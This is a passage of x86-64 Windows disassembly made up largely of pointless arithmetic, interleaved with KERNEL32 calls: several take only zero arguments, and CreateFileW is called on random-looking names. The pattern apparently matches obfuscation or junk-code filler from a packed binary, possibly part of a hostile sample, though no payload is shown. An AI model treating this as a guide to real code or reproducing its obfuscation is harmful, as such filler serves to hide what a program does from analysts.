mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov word [rsp + 0x1ee8], ax
mov rax, qword [rsp + 0x7278]
mov rcx, qword [rsp + 0xb2c0]
add rcx, rax
mov rax, rcx
mov qword [0x14022a038], rax
mov rax, qword [0x14022baf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a18]
mov rcx, qword [rsp + 0xa448]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9a0], rax
lea rax, [rsp + 0x8990]
mov qword [rsp + 0xb478], rax
movzx eax, word [rsp + 0x1d08]
movzx ecx, word [0x14022bb38]
or eax, ecx
mov word [rsp + 0x1a94], ax
lea rax, [rsp + 0x39bc]
mov qword [rsp + 0xb480], rax
movzx eax, byte [rsp + 0x365]
movzx ecx, byte [rsp + 0x361]
shl eax, cl
mov byte [rsp + 0x36c], al
mov rax, qword [rsp + 0xa250]
mov ecx, dword [0x14022a000]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xab98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x305], al
lea rax, [rsp + 0x82f8]
mov qword [0x14022bc38], rax
movsx eax, word [0x140229f34]
movsx ecx, word [rsp + 0x1394]
add eax, ecx
mov word [rsp + 0x1ec4], ax
mov rax, qword [rsp + 0xa950]
movzx eax, word [rax]
mov word [rsp + 0x1eec], ax
movzx eax, word [rsp + 0xef0]
movzx ecx, word [rsp + 0x1df4]
sub eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0f8]
mov rcx, qword [rsp + 0x7fd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7b68], rax
lea rdx, [rsp + 0x4a20]
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4918], eax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x367], al
mov eax, dword [rsp + 0x49e4]
mov ecx, dword [rsp + 0x4924]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa538]
mov qword [rsp + 0xb488], rax
movsx eax, word [rsp + 0x1e48]
movsx ecx, word [rsp + 0x10b4]
sar eax, cl
mov rcx, qword [rsp + 0xab80]
mov word [rcx], ax
lea rcx, [rsp + 0xab60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1ca8]
movzx ecx, word [rsp + 0x1ea4]
sub eax, ecx
mov rcx, qword [0x14022b8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x86c8]
mov qword [rsp + 0xb490], rax
mov r9d, 0x1b31
xor r8d, r8d
lea rdx, [rsp + 0xad70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4734], eax
lea rcx, [rsp + 0xb498]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
mov eax, dword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x49d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x347]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0xa858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4888]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
movzx eax, byte [rsp + 0x349]
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9730]
shl rax, cl
mov qword [rsp + 0xa798], rax
movsx eax, word [rsp + 0x1cdc]
movsx ecx, word [rsp + 0x1d54]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
mov word [0x14022bc40], ax
mov rax, qword [rsp + 0xa0f8]
movzx ecx, al
mov rax, qword [rsp + 0x82d0]
sar rax, cl
mov qword [rsp + 0x7030], rax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [0x14022baa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
lea rdx, [rsp + 0x4980]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
lea rax, [rsp + 0x1c88]
mov qword [rsp + 0xb4a0], rax
movzx eax, word [rsp + 0x1db4]
movzx ecx, word [rsp + 0x1dac]
and eax, ecx
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0xac80]
mov rax, qword [rax]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x351]
and eax, ecx
mov byte [rsp + 0x353], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44dc], eax
lea rax, [0x14022bba0]
mov qword [rsp + 0xb4b0], rax
movsx eax, word [rsp + 0x9f8]
movsx ecx, word [rsp + 0x810]
add eax, ecx
mov rcx, qword [0x14022bb40]
mov word [rcx], ax
movzx eax, word [rsp + 0x176c]
movzx ecx, word [rsp + 0x1bb4]
sar eax, cl
mov word [rsp + 0x178c], ax
mov r9d, 0xe02
xor r8d, r8d
lea rdx, [rsp + 0xa608]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a24], eax
mov eax, 0x38
imul rax, rax, 3
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 0x20
mov dword [rax], 0x366b711a
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
mov dword [rsp + 0x4a28], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37d]
and eax, ecx
mov rcx, qword [rsp + 0xb0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa228]
mov rcx, qword [rsp + 0xa9a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4614]
mov qword [rsp + 0xb4b8], rax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4984], eax
movsx eax, byte [rsp + 0x397]
movsx ecx, byte [rsp + 0x34c]
shl eax, cl
mov byte [rsp + 0x390], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rax, [rsp + 0x8a70]
mov qword [rsp + 0xb4c0], rax
mov rax, qword [0x14022b8b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ccc]
or eax, ecx
mov rcx, qword [rsp + 0xa970]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.VcMDVa5YcgD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb4c8], rax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1274]
mov word [0x14022bc44], ax
mov rax, qword [rsp + 0xada0]
mov rcx, qword [rsp + 0xb008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa218]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d68]
movzx ecx, word [rsp + 0x1d60]
sub eax, ecx
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb238]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xacd0]
mov word [rcx], ax
lea rax, [rsp + 0x8180]
mov qword [rsp + 0xb4d0], rax
mov eax, dword [rsp + 0x3d04]
movzx ecx, al
mov eax, dword [0x140229f2c]
shr eax, cl
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0xb408]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x394]
sub eax, ecx
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x9670]
mov qword [rsp + 0xb4d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb368]
mov word [rcx], ax
lea rdx, [rsp + 0x4a2c]
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x6f28]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a060], rax
mov rax, qword [rsp + 0xaac0]
mov ecx, dword [rsp + 0x45d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4524], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xaf98]
movzx eax, word [rax]
mov word [rsp + 0x1ef0], ax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
xor eax, ecx
mov word [rsp + 0x1d2c], ax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x8220]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaaa0], rax
lea rax, [rsp + 0x3bc0]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xae58]
movzx eax, word [rax]
mov word [rsp + 0x1ef4], ax
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1e7c]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov rcx, qword [0x14022b9b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0x94b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xabe8]
mov qword [rcx], rax
mov rax, qword [0x14022ba78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa078]
sar rax, cl
mov qword [rsp + 0x8bb0], rax
movsx eax, word [rsp + 0x1cd8]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e44], ax
lea rax, [rsp + 0x4774]
mov qword [rsp + 0xb4e8], rax
movsx eax, byte [0x14022b813]
movsx ecx, byte [rsp + 0x392]
sub eax, ecx
mov rcx, qword [rsp + 0xa288]
mov byte [rcx], al
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa538]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb230]
mov qword [rcx], rax
lea rax, [rsp + 0x19e]
mov qword [rsp + 0xb4f0], rax
mov eax, dword [rsp + 0x48bc]
mov ecx, dword [rsp + 0x4674]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
movzx eax, word [rsp + 0x1d54]
mov word [0x14022bc48], ax
movzx eax, word [rsp + 0x1dd8]
mov word [rsp + 0x1ef8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2928
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47f0], eax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [0x140229f7c]
and eax, ecx
mov word [rsp + 0x17d0], ax
mov rax, qword [rsp + 0x9c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8870]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xaf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x40ac], eax
mov rax, qword [rsp + 0xb250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x355]
xor eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
mov qword [rsp + 0xb4f8], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1da8]
shl eax, cl
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb110]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8bc], ax
mov rax, qword [rsp + 0xaab0]
mov rcx, qword [rsp + 0x9c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a060], rax
movzx eax, word [0x14022b978]
movzx ecx, word [rsp + 0x1e4c]
add eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9de8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x94b0], rax
lea rax, [rsp + 0x8180]
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140229f2c]
shr eax, cl
mov dword [rsp + 0x3d04], eax
mov rax, qword [rsp + 0xaed8]
mov qword [rsp + 0xb508], rax
movzx eax, byte [rsp + 0x2bb]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov byte [rsp + 0x35f], al
mov eax, dword [rsp + 0x4234]
mov ecx, dword [rsp + 0x4a28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f4c], eax
lea rax, [rsp + 0x35c]
mov qword [rsp + 0xb510], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xc34]
movsx ecx, word [0x140229fa8]
sub eax, ecx
mov word [0x14022a068], ax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0x60f3
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, word [rsp + 0x1eec]
mov rcx, qword [rsp + 0xa628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17fc], ax
lea rax, [rsp + 0x1c8c]
mov qword [rsp + 0xb518], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb520], rax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cbc]
xor eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov word [rcx], ax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
mov byte [rsp + 0x39d], al
mov rax, qword [0x14022a018]
mov rcx, qword [rsp + 0xa5a8]
mov qword [rsp + 0xb528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb528]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6fd8], rax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0c]
sar eax, cl
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17c8]
add eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [0x14022a050]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b8e8], rax
mov rax, qword [rsp + 0x8330]
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0xb358]
mov rcx, qword [rsp + 0xb258]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xabe8]
mov qword [rcx], rax
lea rdx, [rsp + 0x4878]
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f08], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x255d
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a30], eax
lea rax, [rsp + 0x1ef8]
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4890]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x476c], eax
lea rax, [rsp + 0x360]
mov qword [rsp + 0xb540], rax
mov eax, dword [rsp + 0x40ac]
movzx ecx, al
mov eax, dword [rsp + 0x3da8]
shr eax, cl
mov dword [rsp + 0x49c0], eax
lea rdx, [rsp + 0x47b0]
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4644], eax
mov rax, qword [0x14022a018]
mov rcx, qword [rsp + 0xa5d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f30], rax
lea rax, [rsp + 0x34d]
mov qword [0x14022bc50], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1da8]
and eax, ecx
mov word [rsp + 0xce0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movsx eax, word [rsp + 0x1c90]
mov rcx, qword [0x14022bb40]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x7fc]
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa260]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa2f0]
mov qword [rsp + 0xb550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb550]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x41ec], eax
lea rax, [rsp + 0x38d]
mov qword [rsp + 0xb558], rax
mov rax, qword [rsp + 0xaab8]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rsp + 0xb560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb560]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb488], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.2qc7PxS10wdSmSu3Pmd07X
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb568], rax
lea rax, [rsp + 0x1ccc]
mov qword [rsp + 0xb570], rax
movzx eax, word [rsp + 0x1a0c]
movzx ecx, word [rsp + 0x1e58]
add eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0xb1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa548], rax
movzx eax, word [rsp + 0x1e88]
movzx ecx, word [rsp + 0x1d68]
sub eax, ecx
mov word [rsp + 0x1ef8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0x429c]
mov dword [rsp + 0x4a34], eax
movzx eax, byte [rsp + 0x35b]
movzx ecx, byte [rsp + 0xf3]
add eax, ecx
mov rcx, qword [rsp + 0xb540]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9d50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfe70
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a38], eax
mov eax, dword [0x14022ba3c]
mov dword [rsp + 0x4a3c], eax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0x99e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7420], rax
movsx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x279], al
movsx eax, word [0x14022b87c]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a28]
sub eax, ecx
mov word [0x14022b910], ax
lea rdx, [rsp + 0x4908]
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49ac], eax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x8360]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb4b0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0xb330]
mov qword [rsp + 0xb578], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xac60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb168]
mov word [rcx], ax
lea rax, [rsp + 0x1e88]
mov qword [rsp + 0xb588], rax
mov rax, qword [rsp + 0x9568]
mov rcx, qword [rsp + 0xaff0]
mov qword [rsp + 0xb590], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb590]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x85c0], rax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3a24], eax
lea rax, [0x14022b812]
mov qword [rsp + 0xb598], rax
mov rax, qword [rsp + 0xb050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f78]
mov qword [rsp + 0xb5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7820], rax
movzx eax, word [rsp + 0x16dc]
mov word [0x14022bc58], ax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xb5a8], rax
movzx eax, byte [rsp + 0x34b]
movzx ecx, byte [rsp + 0x19f]
sub eax, ecx
mov rcx, qword [rsp + 0xb348]
mov byte [rcx], al
mov rax, qword [rsp + 0xa550]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4a34], eax
mov rax, qword [0x140229fb0]
mov qword [rsp + 0xb5b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xb408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x390], al
lea rdx, [rsp + 0x4974]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47ec], eax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x83a0], rax
mov rax, qword [rsp + 0xad08]
mov rcx, qword [rsp + 0xa108]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48d8], eax
mov rax, qword [rsp + 0x9c18]
movzx eax, word [rax]
mov word [rsp + 0x1efc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x4730]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x1598]
mov qword [0x14022bc60], rax
mov rax, qword [0x14022b880]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7c50]
sar rax, cl
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d94]
and eax, ecx
mov word [rsp + 0x1e4c], ax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [rsp + 0x1f00], ax
mov rax, qword [rsp + 0xa860]
mov rcx, qword [0x14022b880]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8bb0], rax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0xb5b8], rax
movsx eax, byte [rsp + 0x366]
movsx ecx, byte [rsp + 0x35e]
shl eax, cl
mov byte [rsp + 0x372], al
mov eax, dword [rsp + 0x4920]
mov ecx, dword [rsp + 0x4840]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xa7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
sub eax, ecx
mov word [rsp + 0xed4], ax
lea rcx, [rsp + 0xb5c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xad40]
mov rcx, qword [0x140229f70]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022bb60], rax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x307]
and eax, ecx
mov byte [rsp + 0x36f], al
mov eax, dword [rsp + 0x3f4c]
mov dword [rsp + 0x4a40], eax
mov rax, qword [rsp + 0xab80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c34], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf0]
add eax, ecx
mov word [rsp + 0x1e34], ax
mov rax, qword [rsp + 0xa230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x479c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4300], eax
mov rax, qword [rsp + 0xa450]
mov rcx, qword [0x14022a018]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa668], rax
movzx eax, byte [rsp + 0x342]
mov byte [rsp + 0x39e], al
movsx eax, word [rsp + 0x1ed8]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1edc], ax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
mov word [0x14022bc68], ax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x71c1
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49a0], eax
lea rax, [rsp + 0xa720]
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0xb178]
movzx ecx, al
mov rax, qword [rsp + 0xa260]
sar rax, cl
mov qword [rsp + 0xa8e0], rax
lea rax, [rsp + 0x1ec8]
mov qword [rsp + 0xb5d0], rax
lea rcx, [rsp + 0xb5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0xae80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x34e]
mov rcx, qword [rsp + 0xaa68]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa838]
